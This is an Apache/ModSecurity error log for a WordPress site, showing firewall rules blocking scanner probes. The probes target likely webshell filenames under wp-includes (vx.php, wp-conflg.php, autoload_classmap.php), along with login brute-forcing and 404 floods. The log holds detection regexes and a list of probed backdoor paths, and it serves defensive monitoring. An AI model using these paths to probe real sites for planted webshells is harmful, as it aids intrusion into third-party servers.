[Mon Dec 29 02:32:17.422230 2025] [:error] [pid 62317:tid 62327] [client 4.194.41.74:64866] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aVF3sTrMrOtzJhli_KV-ZAAAAQg"], referer: https://www.google.co.uk/
[Mon Dec 29 02:32:17.597729 2025] [:error] [pid 62317:tid 62334] [client 4.194.41.74:64852] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aVF3sTrMrOtzJhli_KV-ZQAAAQ8"], referer: https://www.google.de/
[Mon Dec 29 02:32:17.779180 2025] [autoindex:error] [pid 62317:tid 62325] [client 4.194.41.74:64784] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Mon Dec 29 02:32:17.873057 2025] [autoindex:error] [pid 62317:tid 62322] [client 4.194.41.74:64784] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Mon Dec 29 02:32:17.968943 2025] [autoindex:error] [pid 62317:tid 62330] [client 4.194.41.74:64784] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 29 02:32:18.070604 2025] [autoindex:error] [pid 62317:tid 62333] [client 4.194.41.74:64784] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Mon Dec 29 02:32:18.158451 2025] [:error] [pid 62317:tid 62328] [client 4.194.41.74:64784] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aVF3sjrMrOtzJhli_KV-bAAAAQk"], referer: https://duckduckgo.com/
[Mon Dec 29 02:32:18.334656 2025] [:error] [pid 8692:tid 8701] [client 4.194.41.74:64788] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aVF3smqutRVJ-mCjpmKH_QAAAoc"], referer: https://www.yahoo.com/
[Mon Dec 29 02:32:18.511755 2025] [:error] [pid 46622:tid 46635] [client 4.194.41.74:64883] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aVF3siZDJSVZN5_8UUOE5wAAAUs"], referer: https://www.google.co.uk/
[Mon Dec 29 02:32:18.692839 2025] [autoindex:error] [pid 8804:tid 8816] [client 4.194.41.74:64781] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Mon Dec 29 02:32:18.780802 2025] [:error] [pid 8804:tid 8823] [client 4.194.41.74:64781] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aVF3sjVoh1fD5_MoMv3ueQAAAtA"], referer: https://www.yahoo.com/
[Mon Dec 29 02:32:18.958942 2025] [:error] [pid 62317:tid 62337] [client 4.194.41.74:64831] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aVF3sjrMrOtzJhli_KV-bgAAARI"], referer: https://www.google.fr/
[Mon Dec 29 02:32:19.142164 2025] [autoindex:error] [pid 8229:tid 8302] [client 4.194.41.74:64867] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 29 02:32:19.234123 2025] [autoindex:error] [pid 8229:tid 8300] [client 4.194.41.74:64867] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Mon Dec 29 02:32:19.325866 2025] [autoindex:error] [pid 8229:tid 8281] [client 4.194.41.74:64867] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 29 02:32:19.412731 2025] [:error] [pid 8229:tid 8290] [client 4.194.41.74:64867] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aVF3syk6YVu4f2yMJ5uhpgAAAkw"], referer: https://www.yahoo.com/
[Mon Dec 29 02:32:19.589264 2025] [:error] [pid 8692:tid 8702] [client 4.194.41.74:63427] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aVF3s2qutRVJ-mCjpmKH_gAAAog"], referer: https://www.google.fr/
[Mon Dec 29 02:32:19.764153 2025] [:error] [pid 46622:tid 46634] [client 4.194.41.74:64849] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/index.php"] [unique_id "aVF3syZDJSVZN5_8UUOE6AAAAUo"], referer: https://www.bing.com/
[Mon Dec 29 02:32:19.964062 2025] [autoindex:error] [pid 8229:tid 8285] [client 4.194.41.74:64791] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Mon Dec 29 02:32:20.051436 2025] [:error] [pid 8229:tid 8278] [client 4.194.41.74:64791] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aVF3tCk6YVu4f2yMJ5uhqAAAAkA"], referer: https://www.google.de/
[Mon Dec 29 02:32:20.234362 2025] [:error] [pid 46536:tid 46563] [client 4.194.41.74:64843] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aVF3tN72_BregW2fmRYE0wAAABc"], referer: https://www.google.co.uk/
[Mon Dec 29 02:32:20.412888 2025] [:error] [pid 8804:tid 8825] [client 4.194.41.74:64804] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aVF3tDVoh1fD5_MoMv3uewAAAtI"], referer: https://duckduckgo.com/
[Mon Dec 29 02:32:20.587594 2025] [:error] [pid 46622:tid 46631] [client 4.194.41.74:64864] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aVF3tCZDJSVZN5_8UUOE6QAAAUc"], referer: https://www.google.de/
[Mon Dec 29 02:32:20.762776 2025] [:error] [pid 8076:tid 8100] [client 4.194.41.74:64816] [client 4.194.41.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aVF3tOmk6HKGnPEdvsKBaAAAAhY"], referer: https://www.google.co.uk/
[Mon Dec 29 02:32:21.029466 2025] [:error] [pid 8692:tid 8714] [client 4.194.41.74:64768] [client 4.194.41.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.41.74, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVF3tWqutRVJ-mCjpmKIAQAAApQ"], referer: https://www.google.co.uk/
[Mon Dec 29 02:32:22.890967 2025] [:error] [pid 46622:tid 46639] [client 4.194.41.74:64779] [client 4.194.41.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.41.74, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVF3tiZDJSVZN5_8UUOE6gAAAU8"], referer: https://www.google.co.uk/
[Mon Dec 29 03:26:24.212390 2025] [autoindex:error] [pid 18219:tid 18284] [client 4.218.10.83:14324] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 29 03:26:24.347725 2025] [:error] [pid 18218:tid 18270] [client 4.218.10.83:14209] [client 4.218.10.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aVGEYP9xdMzRH4jrTPoAQQAAAFU"]
[Mon Dec 29 03:26:35.501745 2025] [autoindex:error] [pid 18217:tid 18238] [client 4.218.10.83:14310] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/php-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 29 03:26:39.126908 2025] [autoindex:error] [pid 18217:tid 18225] [client 4.218.10.83:14310] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 29 03:26:39.265617 2025] [autoindex:error] [pid 18217:tid 18227] [client 4.218.10.83:14310] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/post-author-name/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 29 03:26:39.401133 2025] [:error] [pid 18217:tid 18243] [client 4.218.10.83:14310] [client 4.218.10.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aVGEb6R9HpgDrnHErsdueAAAABU"]
[Mon Dec 29 03:26:39.699290 2025] [autoindex:error] [pid 18217:tid 18229] [client 4.218.10.83:14215] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 29 03:26:48.135502 2025] [autoindex:error] [pid 18217:tid 18233] [client 4.218.10.83:14215] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 29 03:26:51.995645 2025] [:error] [pid 18217:tid 18243] [client 4.218.10.83:14215] [client 4.218.10.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/vx.php"] [unique_id "aVGEe6R9HpgDrnHErsdujQAAABU"]
[Mon Dec 29 03:26:55.469517 2025] [autoindex:error] [pid 18219:tid 18286] [client 4.218.10.83:14324] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 29 03:27:03.178663 2025] [:error] [pid 18218:tid 18263] [client 4.218.10.83:14276] [client 4.218.10.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/vx.php"] [unique_id "aVGEh_9xdMzRH4jrTPoBAQAAAE4"]
[Mon Dec 29 03:27:03.470216 2025] [:error] [pid 18219:tid 18300] [client 4.218.10.83:14322] [client 4.218.10.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/vx.php"] [unique_id "aVGEh87-FIIB2_mDS5QFSAAAAJg"]
[Mon Dec 29 03:27:10.715802 2025] [:error] [pid 18310:tid 18335] [client 4.218.10.83:14319] [client 4.218.10.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aVGEjlzOeV9SWBV5HTh3DwAAANc"]
[Mon Dec 29 03:27:10.989603 2025] [:error] [pid 18218:tid 18253] [client 4.218.10.83:14277] [client 4.218.10.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links.php"] [unique_id "aVGEjv9xdMzRH4jrTPoBHgAAAEQ"]
[Mon Dec 29 03:27:11.266281 2025] [:error] [pid 18217:tid 18233] [client 4.218.10.83:14316] [client 4.218.10.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links.php"] [unique_id "aVGEj6R9HpgDrnHErsdupwAAAAs"]
[Mon Dec 29 03:27:11.551933 2025] [:error] [pid 18217:tid 18238] [client 4.218.10.83:14311] [client 4.218.10.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links.php"] [unique_id "aVGEj6R9HpgDrnHErsduqQAAABA"]
[Mon Dec 29 03:59:44.436650 2025] [:error] [pid 11451:tid 11474] [client 121.229.185.160:38976] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVGMMJDUmxySx0Vynm963QAAABM"]
[Mon Dec 29 05:33:24.187784 2025] [:error] [pid 37389:tid 37466] [client 167.99.61.218:58087] [client 167.99.61.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "aVGiJMEYrQKI4GZ26QaIVQAAAQw"], referer: binance.com
[Mon Dec 29 10:14:01.139035 2025] [:error] [pid 11453:tid 11528] [client 101.42.46.71:44514] [client 101.42.46.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVHj6by-FXnKT7-6pt6FaQAAAJM"]
[Mon Dec 29 15:07:57.937785 2025] [:error] [pid 42293:tid 42300] [client 104.28.161.187:56681] [client 104.28.161.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aVIozQpAkHF7zSWhAzEZLAAAAUU"]
[Mon Dec 29 16:29:56.485037 2025] [:error] [pid 4295:tid 4297] [client 101.91.148.219:41385] [client 101.91.148.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVI8BDZaf4wrmKkZkFIY9QAAAYA"]
[Mon Dec 29 18:24:08.991545 2025] [:error] [pid 37389:tid 37455] [client 111.25.129.137:19403] [client 111.25.129.137] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "close, keep-alive"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVJWyMEYrQKI4GZ26QZHLgAAAQE"]
[Mon Dec 29 18:24:37.625792 2025] [:error] [pid 4295:tid 4315] [client 223.73.227.60:21291] [client 223.73.227.60] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "close, keep-alive"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVJW5TZaf4wrmKkZkFIpCQAAAZI"]
[Mon Dec 29 18:24:41.590010 2025] [:error] [pid 24343:tid 24369] [client 61.138.58.38:27661] [client 61.138.58.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "close, keep-alive"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVJW6cvqvAa0rISAVIRWzAAAAhU"]
[Mon Dec 29 18:24:44.932476 2025] [:error] [pid 24344:tid 24383] [client 27.186.241.180:40668] [client 27.186.241.180] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "close, keep-alive"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVJW7E1cesxuccozvjij-gAAAkg"]
